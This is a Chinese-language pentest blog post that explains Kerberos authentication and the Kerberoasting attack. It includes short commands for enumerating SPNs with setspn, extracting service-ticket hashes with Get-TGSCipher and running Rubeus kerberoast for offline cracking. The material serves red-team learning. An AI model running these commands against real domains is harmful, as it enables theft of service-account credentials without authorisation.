Persistence: Kerberoasting Attack Methods in Windows Domain Pentest

在22年国护远程红的时候,有几台靶标用到了这个方法,现在重新整理一下发出来。

认识Kerberos

一般来说,Kerberos在建立客户端-服务端连接的时候,分为三个角色,分别是DC(域控)域客户端和提供应用服务的AS(应用服务器),其中域服务器主要涉及到了Kerberos的KDC(Key Distribution Center,密钥分发中心),并且Kerberos默认使用的端口遵循RFC4120并使用88端口进行TCP数据传输

  • Domain Controller,DC
  • Client
  • App Server,AS

其主要认证步骤分为下面几个步骤,下面图例为k0e1y师傅所画的,这里直接引用

image-20241201134936488

具体协商过程:

  1. KRB_AS_REQ:用户向 KDC 发送 TGT 请求来获取

    • 用户向身份验证服务器(KDC 的 AS 部分)发送请求,包含以下信息:

      • 用户的身份(如用户名)。
      • 目标服务的名称(如果有的话,通常是用于后续 TGS 请求)。
      • 时间戳和客户端生成的随机数(用于防止重放攻击)。

      KDC 通过此请求来识别客户端,并生成一个临时的会话密钥(Session Key)。

  2. TGT KRB_AS_REP:用户收到了来自 KDC 的 TGT

    • KDC 返回 TGT(Ticket-Granting Ticket)以及一个加密的会话密钥。回复信息通常包括:

      • TGT(包含用户的身份信息、时间戳、会话密钥等信息,使用 KDC 的密钥加密)。
      • 会话密钥(用 TGT 加密,这样只有客户端可以解密)。

      客户端使用其密码解密会话密钥,以便后续操作。

  3. KRB_TGS_REQ:用户使用 TGT 向 KDC 发送 TGS 请求

    • 客户端将之前获得的 TGT 发送给 TGS(Ticket-Granting Server),请求访问特定的服务。请求中包含:

      • 客户端的 TGT。
      • 服务的名称(如希望访问的应用或服务)。
      • 客户端生成的时间戳(用于防止重放攻击)。

      客户端通过加密信息证明自己是合法用户,并且有权请求该服务的访问权限。

  4. KRB_TGS_REP:用户收到了来自 KDC 的 TGS

    • TGS 使用 TGT 解密并验证请求,若验证通过,TGS 会返回服务票证(Service Ticket)以及一个新的会话密钥,具体内容:
      • 服务票证(加密的服务端信息和会话密钥)。
      • 新的会话密钥,供客户端和目标服务端进行后续加密通信使用。
  5. KRB_AP_REQ:使用 TGS 的用户发送请求对服务进行身份验证

    • 客户端向目标服务端发送服务请求,并将之前获得的服务票证(TGS)发送给目标服务端。请求中包含:

      • 服务票证。
      • 客户端和服务端的会话密钥(加密的时间戳等信息,用于验证用户身份)。

      该请求的目的是验证用户是否拥有访问该服务的权限。

  6. KRB_AP_REP:(可选)服务用来针对用户标识自身

    • 目标服务端收到请求后,使用自己的密钥解密服务票证,并验证请求是否合法。服务端会做以下处理:

      • 验证票证和客户端信息。
      • 验证客户端是否使用了正确的会话密钥。
      • 如果一切验证通过,服务端生成一个加密的确认消息,回复给客户端,表示身份验证成功。

      该过程可以是可选的,依据具体的服务需求来决定是否需要这个步骤。

  7. KRB_ERROR:用于交流错误条件的消息

    • 在任何一个步骤中,如果发生错误(如身份验证失败、票证失效等),KDC 或目标服务端将返回一个 KRB_ERROR 消息,表明发生了错误,并给出具体的错误码。

简述Kerberoasting

这种攻击方法是一种域口令攻击方法,Tim Medin发布了配套的攻击工具Kerberoast(https://github.com/nidem/kerberoast.git),在此前,获取域口令的方法是破解NTLM、社工等其他方法。

原理

Kerberoasting是通过请求服务票据(TGS)并离线破解,获取服务账户密码的攻击手法,攻击步骤包括枚举 SPN、请求 TGS、导出票据并离线破解。防御措施为强密码、定期更改密码和监控异常行为。

Kerberoasting详细攻击步骤如下

1.发现SPN服务
2.使用工具向 SPN 请求 TGS 票据
3.转储 .kirbi 或 ccache 或服务 HASH 的 TGS 票据
4.将 .kirbi 或 ccache 文件转换为可破解格式
5.使用hashcat等工具配合字典进行暴力破解

上面提到了一个SPN(服务器主体名称),其格式为

1
"serviceclass"/"hostname[":"port]["/"servicename]"

其中serviceless表示服务种类,如www表示web服务,host尽量用FQDN表示

攻击姿势

首先对域控发起LDAP查询,看看SPN服务

image-20241201173108902

或者用系统自带的

1
2
3
4
# 看所有SPN
setspn -Q */*
# 看ice域的SPN
setspn -T ice -q */*

image-20241202153551781

然后按照SPN格式进行拼接整理

1
2
3
4
5
6
"serviceclass"/"hostname[":"port]["/"servicename]"
"kadmin/changepw"


Import-Module .\Get-TGSCipher.ps1
Get-TGSCipher -SPN "MSSQLSvc/win7.rootkit.org:1433" -Format hashcat

然后使用Rubeus来获取票据

1
Rubeus kerberoast

接着转存TGS票据获取对应的哈希值

Reference

Persistence: Kerberoasting Attack Methods in Windows Domain Pentest

https://iloli.moe/2022/10/12/Persistence-Kerberoasting-Attack-Methods-in-Windows-Domain-Penetest/

Author

IceCliffs

Posted on

2022-10-12

Updated on

2024-12-22

Licensed under

Comments